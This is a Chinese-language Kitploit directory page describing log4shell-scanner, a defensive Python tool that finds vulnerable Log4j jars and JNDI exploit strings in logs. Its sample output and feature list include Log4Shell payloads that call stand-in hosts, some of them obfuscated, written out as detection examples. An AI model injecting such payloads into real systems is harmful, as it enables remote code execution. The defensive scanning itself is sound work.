Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
log4shell-scanner — 轻量级扫描器,用于检测文件系统树中存在漏洞的 Log4j 版本及 Log4Shell (CVE-2021-44228) 指标。 | Kitploit
工具/GitHubGitHub/arpitgupta369/log4shell-scanner
防御工具漏洞扫描器漏洞分析供应链安全学习与教育日志分析
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

轻量级扫描器,用于检测文件系统树中存在漏洞的 Log4j 版本及 Log4Shell (CVE-2021-44228) 指标。

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

log4shell-scanner

一个零依赖的 Log4Shell 防御性扫描器 —— 查找易受攻击的 log4j-core jar,并在日志和配置中发现 JNDI 利用模式。

为什么做这个项目

在我于 CERT-In 轮岗期间,我从事威胁识别、遏制、修复和威胁狩猎工作 —— 这正是 Log4Shell(CVE-2021-44228)在 2021 年 12 月大规模爆发时所需的工作流程:在整个服务器群中找出每一个易受攻击的 log4j-core 工件,并在日志中搜索 ${jndi:...} 利用尝试。本扫描器将这一防御性工作流程重现为一个单一、可移植、仅使用标准库的 Python 脚本,无需在其所检查的主机上安装任何东西。

功能特性

  • 归档发现 — 遍历目录树查找 .jar / .war / .ear 文件。
  • 权威版本检测 — 使用 zipfile 读取每个归档内部的 pom.properties 和 MANIFEST.MF,失败时回退到文件名;可区分真正的 log4j-core 与无关的 jar。
  • CVE 标记,覆盖 Log4Shell 家族:
    • CVE-2021-44228(RCE)— log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046(不完整修复)— 至 2.15.0
    • CVE-2021-45105(DoS)— 至 2.16.0
  • 利用模式狩猎 — 在日志/配置/源码中搜索 ${jndi:ldap:// 及常见混淆写法(${${lower:j}ndi:…}、花括号拆分 j}ndi:、${::-j})。
  • 可执行的修复建议 — 升级到 2.17.1+,或剔除 JndiLookup.class,另附出口流量监控指引。
  • 内置示例目录树,包含一个伪造的易受攻击 log4j-core-2.14.1.jar(真实 zip,内含 log4j-core 的 pom.properties)、一个已修复的 2.17.1.jar、一个无关的 jar,以及一份含 JNDI 载荷的日志。
  • --demo 端到端构建并扫描示例目录树。
  • 纯 Python 标准库(os、re、zipfile)。零依赖。

技术栈

Python 3(仅标准库:argparse、os、re、zipfile)。

安装

root@kitploit:~
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version   # Python 3.8+
# no dependencies to install

使用方法

对内置示例目录树运行演示:

root@kitploit:~
python log4shell_scan.py --demo

预期输出(节选):

root@kitploit:~
--- Archives (log4j-core detection) ---
  [ok]         .../commons-lang3-3.12.0.jar
        version: unknown   (via no log4j-core detected)
  [VULNERABLE] .../log4j-core-2.14.1.jar
        version: 2.14.1   (via pom.properties (...))
        !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
        !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
        !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
  [ok]         .../log4j-core-2.17.1.jar
        version: 2.17.1   (via pom.properties (...))

--- Exploit-pattern matches (JNDI payloads in text/logs) ---
  [MATCH] .../access.log (2 hit(s))
        L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
        L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"

--- Summary ---
  Vulnerable archives:      1
  Files with JNDI patterns: 1

扫描你获授权评估的任何目录:

root@kitploit:~
python log4shell_scan.py /path/to/deployed/app

当发现任何易受攻击或可疑内容时,进程退出码为 1,干净时为 0 — 便于 CI/流水线门禁判断。

随时重建示例目录树:

root@kitploit:~
python log4shell_scan.py --build-samples

项目结构

root@kitploit:~
log4shell-scanner/
├── log4shell_scan.py      # scanner + sample-tree builder + CLI
├── samples/
│   └── app/
│       ├── libs/
│       │   ├── log4j-core-2.14.1.jar     # fake VULNERABLE jar (real zip)
│       │   ├── log4j-core-2.17.1.jar     # patched jar
│       │   └── commons-lang3-3.12.0.jar  # unrelated jar
│       ├── logs/
│       │   └── access.log                # contains JNDI payloads
│       └── config.properties             # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore

免责声明

仅限教育、防御及授权使用。只对你有权评估的系统与工件运行。该扫描器仅进行读取和模式匹配 — 绝不执行或利用任何内容。内置的示例 jar 为虚构占位文件,并非真正的 Apache 工件,所有载荷主机名均使用不可路由的 .test 名称。版本与 CVE 的对应关系仅供参考;请以官方 CVE 及 Apache Log4j 安全公告为准。


由 Arpit Gupta 构建 — LinkedIn · GitHub

下载工具